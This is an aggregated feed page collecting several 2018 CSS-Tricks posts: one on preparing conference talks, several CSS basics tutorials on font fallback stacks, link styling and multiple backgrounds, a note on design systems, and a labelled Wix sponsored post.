Some people have a talk preparation process that is super organized and runs like a well-oiled machine. Mine, on the other hand, is a bit messy, but it works for me. Even when a talk looks polished and put together on stage, it doesn’t mean the process to get it there was that way too.

Me on stage at An Event Apart.

When putting together a new talk recently, I noticed there was most definitely a pattern to how my talks take shape. Here’s how the talk-making process goes for me:

The Research Phase

True to the nature of research, all my talks start by collecting articles, books, videos, and other things that relate to the topic of the talk. At this point in the talk development process, I usually only have a general topic idea instead of a fully fleshed out point-of-view or main message. That means I end up collecting things that might only be tangentially related to the topic and going down some strange topical rabbit holes.

I'll save all these as a collection of bookmarks but usually also in a Google Doc with notes or quotes from the piece that seem most relevant. That makes it easier to keep a high-level view of what I've collected, and even discover interesting threads that connect some of the seemingly unrelated sources.

This initial phase is intentionally fuzzy on focus. Only a small percentage of the research I collect actually makes it to the end talk content. Sometimes the things that don't make it spark ideas for other talks, or just gets filed away in my brain for future (hopefully interesting) things.

Outlining: The Giant Mess Phase

There's probably a smarter sounding name for this phase, but for every talk I've done, there's always a point where I step back and think, "Holy crap this is all a giant mess! What am I even doing with all this!?" So, that's what I'll call this phase. This is the phase where I make a general outline for the talk (again in a Google Doc or Word file) and start fitting my thoughts, examples or demos, and relevant research into it.

I outline the major points I think the talk should make and try to fit them into some sort of narrative order. These tend to change and morph a bit as the talk takes shape, but that's OK because I'm still in the giant mess phase.

At the top of my document I have a three-part block that helps keep me focused:

What is the main question this talk answers (or the main problem it addresses)?

What is the main message of this talk?

Three points that support the main message:

(I started doing this on advice from Bill Smartt, and it’s been a huge help ever since.)

A talk outline for a 30 min talk complete with comments to myself.

The rest of the document addresses the body of the talk with each main point as a headline and some notes underneath it. Personally, I don't write out talks word-for-word and memorize them. I do write out an introduction and conclusion to make sure I'm setting up the topic and summarizing it well, but the rest of the notes are bulleted lists of points to make and references supporting examples, demos, or references. I leave space at the bottom of the document for random thoughts and notes as well as probably a few too many comments to myself on possible changes to make or different directions to take. Points that don't fit into the main narrative get moved down to this section too.

Once I feel like I have a cohesive outline, or at least one that isn't a total mess, I move on to making some visuals.

The Editing Phase A recent talk with all the edited-out slides shown ghosted out. Those slides never made it to the final talk.

This is the point where I start making slides and such based on the outline. Some people leave slides to the very last thing, but I leave them more to the almost last thing and do some of my thinking and organizing while I build up the slide deck.

I'll make slides for each point in the outline, take screen recordings of demos or examples, and start piecing things together in order. I tend to think of my talks in sections at this point and, as I create the slides for each section, I'll try talking through them out loud to see how they flow. (It’s amazing how different things sound when you say them out loud!)

There is a lot of rearranging and cutting out during this phase to work towards something that feels cohesive. I keep working on adding, deleting, and rearranging slides until I've got visuals for the full narrative of my outline. Sometimes things fall into place quickly, but for most talks this part can take a while.

At this point I almost always have far too much content. I'll run through what I have for the talk in 10 to 15 minute chunks, editing down and solidifying points until I've got something that fits neatly into the required time length. Most times this means a 30 minutes and 45-60 minute version of the talk depending on the format of the event where it's being given.

The same talk without the slides that have been edited out. Rehearsing: The Talking to Myself Phase

Rehearsing is so important but it can also be very awkward. It seems like everyone has a different strategy for rehearsing talks, which totally makes sense. I have a really hard time rehearsing talks in their entirety when I'm standing in my office talking to the wall or to the dog, so I tend to rehearse in 15 or 30 minute chunks; practicing the first half then taking a break to do some other things and coming back to run through the second half. That way I know I have a handle on all the material, but haven’t driven myself (or the dog) up a wall with all that talking to no one in particular.

Ah, that familiar presenter notes view. I like a giant notes window even though I rarely actually read them while I’m on stage. They're a "just in case" kind of thing.

As often as possible I'll try to give a new talk to a few friends or at a meetup before doing it on stage for the first time. Having a real live human audience can really help show which points are strong and which might need a bit more work to get across well. I also always run through the "final" talk from start-to-finish at least once in the 24 hours before I’ll be on stage to make sure all the content is fresh in my mind.

A Talk is Never Really Done

Seriously. They really never are. The funny thing about talks is that when you give them more than once, they're rarely exactly the same. (Yes, it is totally fine to do the same talk more than once.) There is always something to improve, something to add, or new points or examples to add to the narrative.

I usually make notes for myself on what worked or what didn't right after getting off stage. That’s a good time to recall which parts of the talk felt like they could use some work, but it’s not such a good time to actually make any edits. I'll go back to those notes a few days later (having some space here is really helpful) and make adjustments as needed. Also, if I come across other relevant examples or research at any point in time, I'll try to add them into the talk for the next time around.

You Do You

If there’s one thing I’ve learned working on talks and talking to other speakers about their process, it’s that no two people work the same way. Everyone has their own way of putting together talks that they’ve customized for their own habits and preferences. If your talk development process looks nothing like mine, that’s totally fine. And if you haven’t found a process that works for you yet, keep experimenting with different techniques. You’ll find one that works for you!

For more on how to get a talk together, check out these other articles too:

My Talk Writing Process is a post from CSS-Tricks

Shipping system fonts to GitHub.com

Css Tricks - Fri, 02/16/2018 - 9:46am

System font stacks got hot about a year ago, no doubt influenced by Mark Otto's work putting them live on GitHub.

The why, to me, feels like (1) yay performance and (2) the site looks like the rest of the operating system. But to Mark:

Helvetica was created in 1957 when the personal computer was a pipe dream. Arial was created in 1982 and is available on 95% of computers across the web. Millions, if not billions, of web pages currently use this severely dated font stack to serve much younger content to much younger browsers and devices.

As display quality improves, so too must our use of those displays. System fonts like Apple’s San Francisco and Microsoft’s Segoe aim to do just that, taking advantage of retina screens, dynamic kerning, additional font-weights, and improved readability. If operating systems can take advantage of these changes, so too can our CSS.

I also like the team’s idea of adding emoji fonts at the end of the font declaration so that you have the best support possible for those too:

p { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Fira Sans", "Droid Sans", "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; }

Direct Link to ArticlePermalink

Shipping system fonts to GitHub.com is a post from CSS-Tricks

CSS Basics: Fallback Font Stacks for More Robust Web Typography

Css Tricks - Fri, 02/16/2018 - 5:05am

In CSS, you might see a ruleset like this:

html { font-family: Lato, "Lucida Grande", Tahoma, Sans-Serif; }

What the heck, right? Why don't I just tell it what font I want to use and that's that? The whole idea here is fallbacks. The browser will try to use the font you specified first (Lato, in this case), but if it doesn't have that font available, it will keep going down that list. So to be really verbose here, what that rule is saying is:

  1. I'd like to use the Lato font here, please.
  2. If you don't have that, try "Lucida Grande" next.
  3. If you don't have that, try Tahoma.
  4. All else fails, use whatever you've got for the generic keyword Sans-Serif

So in what situation would a browser not have the font you're asking for? That's pretty common. There are only a handful of fonts that are considered "web safe"—meaning that it's likely most computers visiting your site have that font installed and so the browser can use it. Think: Arial, Times New Roman, Courier, Georgia, Verdana, and a handful of others.

But most websites, these days, use custom web fonts. They load up a font as a resource (just as a website loads CSS itself as a resource, or an image, or JavaScript), then that font is available to use. The widely popular Google Fonts makes that pretty clear:

Load this font first, then you can use it in CSS.

Even when you load a font in this way, it's still possible that the font doesn't load. While Google is a generally very reliable host, you don't control their servers; they do. Even more commonly, poor network connections may prevent a font from loading. In any font loading failure scenario, that's another situation where a fallback font stack comes in handy.

Say I'm using the custom font Merriweather, and I set up my font stack like this:

html { font-family: Merriweather, Impact, Serif; }

If Merriweather fails to load (or does load, but loads in such a way that it pops into place after it does—also known as FOUT), we'd see something like this:

A fallback font, in this case Impact, is seen. It's incredibly awkward and doesn't match the desired look at all.

Better to have your font fall back to something close to your top choice than to something totally unrelated! There is a fantastic tool by Monica Dinculescu call Font style matcher where you can play with fallbacks (that's how I made that GIF above).

In the example above, we can see that Georgia is a much nicer fallback font than Impact is! The example is a little bit more fancy than just changing the font though. A couple of other settings were changed to make them match as closely as they are. To take advantage of that, you're in font loading territory, which gets a bit complex. Your best bet there is consulting Zach Leatherman's A Comprehensive Guide to Font Loading. In any case, picking a nice fallback font alone is worth doing.

Individual Characters

An interesting note about fallback fonts is that it's not all-or-nothing. Individual characters in a font can fall down the stack if the specified font doesn't have that character available.

As an extreme example, I'll load the custom font Source Code Pro from Google Fonts but I'll force it to only contain a handful of letters.

You can see in the first sentence how the fallback fonts took over and the end result wasn't disastrous (like the second sentence) even though the custom font didn't have some of the characters available. This will be more likely to happen with things like uncommon ASCII characters or even accented characters like ü, ?, or ñ.

As some side fun, here's using that character fallback ability of CSS to do something unique:

See the Pen Ransom Note With Google Font Subsets by Heydon (@heydon) on CodePen.

More Reading

CSS Basics: Fallback Font Stacks for More Robust Web Typography is a post from CSS-Tricks

Your Sketch library is not a design system redux

Css Tricks - Thu, 02/15/2018 - 3:31pm

I really like this post by Brad Frost about what is and isn’t a design system, particularly when he de-emphasizes the importance of tools when it comes to that sort of work :

...components living inside static design tools like Sketch isn’t itself a design system. Pardon my clickbait. Perhaps a better title would have been “Your Sketch library is not a(n entire) design system.”

No doubt tools like Sketch are super valuable, and having a set of reusable components inside them helps design teams establish thoughtful and consistent UIs. However, a Sketch library is just one piece of the design system puzzle. A design system also can include other puzzle pieces like:

  • Design principles
  • UX guidelines
  • Development guidelines
  • Coded UI components
  • Component guidelines, usage, and details
  • Page templates
  • User flows
  • Design tools
  • Dev tooling
  • Code repositories
  • Voice and tone guidelines
  • Implementation guides
  • Contribution processes
  • Team structure
  • Resources (internal and external)
  • Other guidelines/resources/tools/process

I’ve been mulling this post over the past couple of days and I’ve started to think of design systems as much more than a suite of tools. In fact, I’m starting to think that folks who work on design systems should start to de-emphasize how important specific tools are and focus much more on the community-building aspects of the work instead.

Direct Link to ArticlePermalink

Your Sketch library is not a design system redux is a post from CSS-Tricks

?Wix.com: Make the Web Your Playground

Css Tricks - Thu, 02/15/2018 - 7:34am

(This is a sponsored post.)

Here's something you should consider having: your own professional website. The only thing you'll need to get started is your imagination, a little free time, and an innovative website builder.

Wix is the world's most technologically advanced website builder. Sign up for Wix, choose a template, and start customizing it. Whether you’re a novice, a business owner, a sophisticated designer, or a professional website builder, you’ll have full control of your website - from design prototyping to production.

Wix takes care of all the heavy lifting. You get reliable, safe, secure hosting that you'll never need to worry about. You get a custom domain name and email. To get started, all you need is a computer and a little time.

Don't underestimate what you can do with Wix. There are all kinds of advanced design features and functionality if that's something you need. The web is your playground. We’ve come along way from the website building platforms of the 90s. Now, you can create any kind of website you want and even collaborate with friends or coworkers.

Save yourself some time and head over to Wix.com to get started.

Direct Link to ArticlePermalink

?Wix.com: Make the Web Your Playground is a post from CSS-Tricks

CSS Basics: Styling Links Like a Boss

Css Tricks - Thu, 02/15/2018 - 4:45am

The web was founded on links. The idea that we can click/tap a link and navigate from one web page to another is how surfin' the web become a household phrase.

Links in HTML even look different from regular text without any CSS styling at all.

See the Pen Default Link by CSS-Tricks (@css-tricks) on CodePen.

They are blue (purple if visited). They are underlined. That's a link in it's purest form.

But what if we want to change things up a bit? Perhaps blue doesn't work with your website's design. Maybe you have an aversion to underlines. Whatever the reason, CSS lets us style links just we can any other element. All we need to do is target the <a> element in our stylesheet.

Want to use a different font, change the color, remove the underline and make it all uppercase? Sure, why not?

a { color: red; text-decoration: none; text-transform: uppercase; }

See the Pen Link With Some Style by Geoff Graham (@geoffgraham) on CodePen.

Now we're cooking with gas! But why stop there? Let's look at a few other ways we can style links to complete the experience.

Style Each Link State

Links have different states, meaning they adapt when we interact with them on a webpage. There are three additional states of a link that are worth considering anytime we change the default style of links:

  • Hover (:hover): When the mouse cursor is place on top of the link without a click
  • Visited (:visited): The appearance of a link that the user has clicked on the page before when the mouse cursor is not on top of it
  • Active (:active): When the link is in the process of being clicked. It might be super quick, but this is when the mouse button has been depressed and before the click is over.

Here is the same link we have been looking at. First, try hovering your mouse on top of it without clicking and notice that it becomes underlined. Then, click on the link, but leave your mouse button clicked down for a little bit to see how the active style changes the color of the link to black. Finally, let up on the mouse button and the link should turn purple before it's technically been visited.

See the Pen Link With Styled States by Geoff Graham (@geoffgraham) on CodePen.

Links seem like a simple concept, but boy do they have a lot going on—and CSS gives us some incredible power to customize the experience!

Links as Buttons

While there is some debate about it, we can use CSS to make a text link look like a button.

Like other HTML elements, CSS can add background colors and padding to links that allow us to create the appearance of a button. Here's our link using those techniques:

a { background-color: red; color: white; padding: 1em 1.5em; text-decoration: none; text-transform: uppercase; }

See the Pen Link as a Button by CSS-Tricks (@css-tricks) on CodePen.

Great! Now, let's use the state-altering powers we learned in the last section to make our faux-button more interactive. We'll make the button dark gray on hover, black on active, and light gray on visit:

a { background-color: red; color: white; padding: 1em 1.5em; text-decoration: none; text-transform: uppercase; } a:hover { background-color: #555; } a:active { background-color: black; } a:visited { background-color: #ccc; }

See the Pen Link as a Button With Styled States by Geoff Graham (@geoffgraham) on CodePen.

Styling a link as a button and taking advantage of the states allows us to make some pretty cool effects. For example, let's create a button with some depth that appears to get pressed when it's active and pop back up when the click is done.

See the Pen Link as a 3D Button by Geoff Graham (@geoffgraham) on CodePen.

Oh, and Cursors!

We've gone into pretty great depth on style links, but there is one more component to them that we cannot ignore: the cursor.

The cursor indicates the position of the mouse on the screen. We're pretty used to the standard black arrow:

The standard mouse cursor arrow

We can change the arrow to a hand pointer on it's hover (:hover) state so that it's easier to see that the link indicates it is an interactive element:

Using cursor:
pointer; provides an interactive cue. a:hover { cursor: pointer; }

See the Pen Link as a 3D Button With Pointer by Geoff Graham (@geoffgraham) on CodePen.

Whew, that's much nicer! Now, we have a pretty fancy link that looks like a button with proper interactive cues.

Leveling Up

We've covered quite a bit of ground here, but it merely scratches the surface of how we can control the style of links. If you're ready to level up, then here are a few resources you can jump into from here:

  • Mailto Links - A good reference for linking up email addresses instead of webpages.
  • The Current State of Telephone Links - Did you know you can link a phone number? Well, here's how.
  • Cursor - The CSS-Tricks reference guide for customizing the cursor.
  • When to Use the Button Element - If you're wondering about the difference between a link button and a traditional form button, then this is a good overview with suggestions for which is better for specific contexts.
  • Button Maker - A free resource for generating the CSS for link buttons.

CSS Basics: Styling Links Like a Boss is a post from CSS-Tricks

People Who Are Crucial To Your Success As A UX Designer

Usability Geek - Wed, 02/14/2018 - 1:27pm
More and more companies realise that seamless user experience is key to successful branding. UX is no longer the sole domain of designers. Instead, it is a company-wide concern. The truth is, it...
Categories: Web Standards

CSS Basics: Using Multiple Backgrounds

Css Tricks - Wed, 02/14/2018 - 10:53am

With CSS, you can control the background of elements. You can set a background-color to fill it with a solid color, a background-image to fill it with (you guessed it) an image, or even both:

body { background-color: red; background-image: url(pattern.png); }

Here's an example where I'm using an SVG image file as the background, embedded right in the CSS as a data URL.

See the Pen background color and image together by Chris Coyier (@chriscoyier) on CodePen.

That's just a single image there, repeated, but we can actually set multiple background images if we want. We do that by separating the values with commas.

body { background-image: url(image-one.jpg), url(image-two.jpg); }

If we leave it like that, image-one.jpg will repeat and entirely cover image-two.jpg. But we can control them individually as well, with other background properties.

body { background-image: url(image-one.jpg), url(image-two.jpg); background-position: top right, /* this positions the first image */ bottom left; /* this positions the second image */ background-repeat: no-repeat; /* this applies to both images */ }

See how background-position also has comma-separated values? Those will apply individually to each image respectively. And then how background-repeat has only one value? We could have done two values in the same way, but by using just one value, it applies to both.

Here's an example using four separate images, one in each corner, offset by a smidge:

See the Pen Example of multiple backgrounds by Chris Coyier (@chriscoyier) on CodePen.

It's too bad you can't rotate or flip background images or else we could have used just one. We can rotate and flip entire elements (or psuedo elements) though, so in cases like that, we can get away with using a single image!

See the Pen Flipping Image So You Can Use Just One by Chris Coyier (@chriscoyier) on CodePen.

Just a few other things to be aware of here:

  1. The stacking order of multiple background is "first is on top."
  2. Gradients are applied through background-image, so they can be used as part of all this. For example, you could set a transparent gradient over a raster image.

See the Pen Tinted Image w/ Multiple Backgrounds by Chris Coyier (@chriscoyier) on CodePen.

CSS Basics: Using Multiple Backgrounds is a post from CSS-Tricks

Syndicate content
©2003 - Present Akamai Design & Development.